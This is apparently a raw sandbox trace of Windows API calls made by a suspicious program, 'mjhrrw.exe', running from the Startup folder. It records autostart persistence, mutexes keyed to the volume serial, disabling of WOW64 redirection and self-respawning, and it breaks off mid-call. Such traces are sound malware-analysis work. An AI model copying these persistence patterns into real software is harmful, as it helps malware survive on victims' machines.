[0103.636] RtlFreeHeap (HeapHandle=0x1fa4c110000, Flags=0x0, BaseAddress=0x0) returned 1 [0103.637] GetProcessHeap () returned 0x1fa4c110000 [0103.637] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x58) returned 0x1fa4c1156c0 [0103.637] GetProcessHeap () returned 0x1fa4c110000 [0103.637] RtlFreeHeap (HeapHandle=0x1fa4c110000, Flags=0x0, BaseAddress=0x0) returned 1 [0103.637] GetProcessHeap () returned 0x1fa4c110000 [0103.637] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0xb0) returned 0x1fa4c115040 [0103.637] GetProcessHeap () returned 0x1fa4c110000 [0103.637] RtlFreeHeap (HeapHandle=0x1fa4c110000, Flags=0x0, BaseAddress=0x1fa4c1156c0) returned 1 [0103.637] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ffce6880000 [0103.639] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0xc3d65d7428 | out: phkResult=0xc3d65d7428*=0xb4) returned 0x0 [0103.639] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xc3d65d7460, lpcbMaxValueNameLen=0xc3d65d7470, lpcbMaxValueLen=0xc3d65d7468, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xc3d65d7460*=0x14, lpcbMaxValueNameLen=0xc3d65d7470, lpcbMaxValueLen=0xc3d65d7468, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0103.639] GetProcessHeap () returned 0x1fa4c110000 [0103.639] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x8, Size=0x16) returned 0x1fa4c1214b0 [0103.639] GetProcessHeap () returned 0x1fa4c110000 [0103.639] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x8, Size=0x23) returned 0x1fa4c1187d0 [0103.639] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x1fa4c1214b0, lpcchValueName=0xc3d65d7420, lpReserved=0x0, lpType=0x0, lpData=0x1fa4c1187d0, lpcbData=0xc3d65d7478 | out: lpValueName="2", lpcchValueName=0xc3d65d7420, lpType=0x0, lpData=0x1fa4c1187d0, lpcbData=0xc3d65d7478) returned 0x0 [0103.639] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0103.639] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0103.639] GetProcessHeap () returned 0x1fa4c110000 [0103.639] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x50) returned 0x1fa4c1217e0 [0103.640] GetProcessHeap () returned 0x1fa4c110000 [0103.640] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x4) returned 0x1fa4c11dae0 [0103.640] GetProcessHeap () returned 0x1fa4c110000 [0103.640] RtlAllocateHeap (HeapHandle=0x1fa4c110000, Flags=0x0, Size=0x14) returned 0x1fa4c121450 [0103.640] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0103.640] GetProcessHeap () returned 0x1fa4c110000 [0103.640] RtlFreeHeap (HeapHandle=0x1fa4c110000, Flags=0x0, BaseAddress=0x1fa4c118680) returned 1 [0103.640] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) Thread: id = 43 os_tid = 0xab0 Process: id = "9" image_name = "mjhrrw.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" page_root = "0x4de50000" os_pid = "0xc88" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0xa20" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0xc8c [0204.502] GetProcessHeap () returned 0xc10000 [0204.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x30) returned 0xc23420 [0204.503] GetProcessHeap () returned 0xc10000 [0204.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x34c0) returned 0xc30620 [0204.523] GetProcessHeap () returned 0xc10000 [0204.523] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x300) returned 0xc22b08 [0204.523] GetProcessHeap () returned 0xc10000 [0204.523] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10) returned 0xc2f778 [0204.524] GetTickCount () returned 0x1142348 [0204.524] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x95fe88, cchData=32 | out: lpLCData="\x03") returned 16 [0204.525] GetProcessHeap () returned 0xc10000 [0204.525] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc1b040 [0204.525] GetProcessHeap () returned 0xc10000 [0204.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc237e8 [0204.526] GetProcessHeap () returned 0xc10000 [0204.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc2e280 [0204.526] GetProcessHeap () returned 0xc10000 [0204.526] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc2ea68 [0204.526] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc2ea68, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0204.756] GetProcessHeap () returned 0xc10000 [0204.756] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ea68 | out: hHeap=0xc10000) returned 1 [0204.756] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.757] GetProcessHeap () returned 0xc10000 [0204.757] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc237e8 | out: hHeap=0xc10000) returned 1 [0204.757] GetProcessHeap () returned 0xc10000 [0204.757] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2e280 | out: hHeap=0xc10000) returned 1 [0204.757] GetProcessHeap () returned 0xc10000 [0204.757] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1b040 | out: hHeap=0xc10000) returned 1 [0204.757] GetVersion () returned 0x23f00206 [0204.758] GetCurrentProcess () returned 0xffffffff [0204.758] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x95fe1c | out: TokenHandle=0x95fe1c*=0x1fc) returned 1 [0204.758] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x14, TokenInformation=0x95fe14, TokenInformationLength=0x4, ReturnLength=0x95fe18 | out: TokenInformation=0x95fe14, ReturnLength=0x95fe18) returned 1 [0204.758] CloseHandle (hObject=0x1fc) returned 1 [0204.758] GetProcessHeap () returned 0xc10000 [0204.758] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc1b040 [0204.758] GetProcessHeap () returned 0xc10000 [0204.758] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc237e8 [0204.758] GetProcessHeap () returned 0xc10000 [0204.758] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc2e280 [0204.759] GetProcessHeap () returned 0xc10000 [0204.759] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc237e8 | out: hHeap=0xc10000) returned 1 [0204.759] GetProcessHeap () returned 0xc10000 [0204.759] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2e280 | out: hHeap=0xc10000) returned 1 [0204.759] GetProcessHeap () returned 0xc10000 [0204.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc1b0b8 [0204.759] GetProcessHeap () returned 0xc10000 [0204.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc1b108 [0204.759] GetProcessHeap () returned 0xc10000 [0204.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb60 [0204.759] GetProcessHeap () returned 0xc10000 [0204.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0204.759] GetProcessHeap () returned 0xc10000 [0204.760] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0204.760] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc1b108, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0204.760] GetProcessHeap () returned 0xc10000 [0204.760] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb60 | out: hHeap=0xc10000) returned 1 [0204.760] GetProcessHeap () returned 0xc10000 [0204.760] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1b0b8 | out: hHeap=0xc10000) returned 1 [0204.760] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fdd4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fdd4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0204.867] GetProcessHeap () returned 0xc10000 [0204.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1b108 | out: hHeap=0xc10000) returned 1 [0204.867] GetProcessHeap () returned 0xc10000 [0204.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x30) returned 0xc23458 [0204.867] GetProcessHeap () returned 0xc10000 [0204.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x2a) returned 0xc23308 [0204.867] GetProcessHeap () returned 0xc10000 [0204.868] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc23308, Size=0x52) returned 0xc1e490 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc23458 | out: hHeap=0xc10000) returned 1 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e490 | out: hHeap=0xc10000) returned 1 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1c) returned 0xc1b0b8 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1c) returned 0xc1b108 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f1c8 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ef98 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f1a0 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0204.868] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ef98, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0204.868] GetProcessHeap () returned 0xc10000 [0204.868] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f1a0 | out: hHeap=0xc10000) returned 1 [0204.868] GetProcessHeap () returned 0xc10000 [0204.869] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f1c8 | out: hHeap=0xc10000) returned 1 [0204.869] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fdbc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0204.869] GetProcessHeap () returned 0xc10000 [0204.869] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef98 | out: hHeap=0xc10000) returned 1 [0204.869] GetProcessHeap () returned 0xc10000 [0204.869] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xc22620 [0204.869] GetProcessHeap () returned 0xc10000 [0204.869] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xc22350 [0204.869] GetProcessHeap () returned 0xc10000 [0204.869] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc22350, Size=0x72) returned 0xc22140 [0204.869] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x0 [0204.869] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000000") returned 0x1fc [0204.870] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22620 | out: hHeap=0xc10000) returned 1 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22140 | out: hHeap=0xc10000) returned 1 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed40 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec78 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ecc8 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0204.870] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ecc8 | out: hHeap=0xc10000) returned 1 [0204.870] GetProcessHeap () returned 0xc10000 [0204.870] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed40 | out: hHeap=0xc10000) returned 1 [0204.871] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fda4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fda4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0204.871] GetProcessHeap () returned 0xc10000 [0204.871] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec78 | out: hHeap=0xc10000) returned 1 [0204.871] GetProcessHeap () returned 0xc10000 [0204.871] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xc22548 [0204.871] GetProcessHeap () returned 0xc10000 [0204.871] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xc221e8 [0204.871] GetProcessHeap () returned 0xc10000 [0204.871] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc221e8, Size=0x72) returned 0xc22140 [0204.871] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0204.871] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x200 [0204.871] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0204.871] GetProcessHeap () returned 0xc10000 [0204.872] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22548 | out: hHeap=0xc10000) returned 1 [0204.872] GetProcessHeap () returned 0xc10000 [0204.872] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22140 | out: hHeap=0xc10000) returned 1 [0204.872] ReleaseMutex (hMutex=0x200) returned 1 [0204.872] CloseHandle (hObject=0x200) returned 1 [0204.872] GetProcessHeap () returned 0xc10000 [0204.872] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20a) returned 0xc237e8 [0204.872] GetProcessHeap () returned 0xc10000 [0204.872] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xc1e490 [0204.872] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0204.872] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0204.872] Wow64DisableWow64FsRedirection (in: OldValue=0x95fe18 | out: OldValue=0x95fe18*=0x0) returned 1 [0204.872] GetProcessHeap () returned 0xc10000 [0204.872] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e490 | out: hHeap=0xc10000) returned 1 [0204.872] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xc237e8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0204.872] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x95fdc0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x95fe08 | out: lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe", lpProcessInformation=0x95fe08*(hProcess=0x204, hThread=0x200, dwProcessId=0xcb4, dwThreadId=0xcb8)) returned 1 [0204.910] CloseHandle (hObject=0x204) returned 1 [0204.910] CloseHandle (hObject=0x200) returned 1 [0204.910] GetProcessHeap () returned 0xc10000 [0204.910] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x50) returned 0xc1e490 [0204.910] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0204.910] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x75cc6b50 [0204.910] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0204.910] GetProcessHeap () returned 0xc10000 [0204.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e490 | out: hHeap=0xc10000) returned 1 [0204.911] GetProcessHeap () returned 0xc10000 [0204.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc237e8 | out: hHeap=0xc10000) returned 1 [0204.911] Sleep (dwMilliseconds=0x1388) [0209.914] GetProcessHeap () returned 0xc10000 [0209.914] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f010 [0209.915] GetProcessHeap () returned 0xc10000 [0209.915] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f0b0 [0209.915] GetProcessHeap () returned 0xc10000 [0209.915] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f088 [0209.915] GetProcessHeap () returned 0xc10000 [0209.915] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0209.915] GetProcessHeap () returned 0xc10000 [0209.915] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.915] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f0b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0209.915] GetProcessHeap () returned 0xc10000 [0209.915] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f088 | out: hHeap=0xc10000) returned 1 [0209.915] GetProcessHeap () returned 0xc10000 [0209.915] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f010 | out: hHeap=0xc10000) returned 1 [0209.915] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95fddc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95fddc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0b0 | out: hHeap=0xc10000) returned 1 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x60) returned 0xc1ff58 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eef8 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ebd8 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eae8 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.916] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xc2ebd8, nSize=0xf | out: lpDst="") returned 0x1e [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0209.916] GetProcessHeap () returned 0xc10000 [0209.916] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc2ebd8, Size=0x3a) returned 0xc227d0 [0209.916] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x3a) returned 0xc22860 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.917] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xc227d0, nSize=0x1d | out: lpDst="") returned 0x1e [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22860 | out: hHeap=0xc10000) returned 1 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc227d0, Size=0x72) returned 0xc22140 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x72) returned 0xc1fde0 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.917] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xc22140, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1fde0 | out: hHeap=0xc10000) returned 1 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xc22620 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3e) returned 0xc221e8 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x3e) returned 0xc227d0 [0209.917] GetProcessHeap () returned 0xc10000 [0209.917] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc21ff0 [0209.918] GetProcessHeap () returned 0xc10000 [0209.918] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x10) returned 0xc2f928 [0209.918] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x95fcf4 | out: phkResult=0x95fcf4*=0x204) returned 0x0 [0209.918] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0x95fcf0, lpData=0xc227d0, lpcbData=0x95fcf8*=0x3e | out: lpType=0x95fcf0*=0x2, lpData=0xc227d0*=0x25, lpcbData=0x95fcf8*=0x98) returned 0xea [0209.918] RegCloseKey (hKey=0x204) returned 0x0 [0209.918] GetProcessHeap () returned 0xc10000 [0209.918] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f928 | out: hHeap=0xc10000) returned 1 [0209.918] GetProcessHeap () returned 0xc10000 [0209.918] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc21ff0 | out: hHeap=0xc10000) returned 1 [0209.918] GetProcessHeap () returned 0xc10000 [0209.918] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc227d0 | out: hHeap=0xc10000) returned 1 [0209.918] GetProcessHeap () returned 0xc10000 [0209.918] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc221e8, Size=0x7a) returned 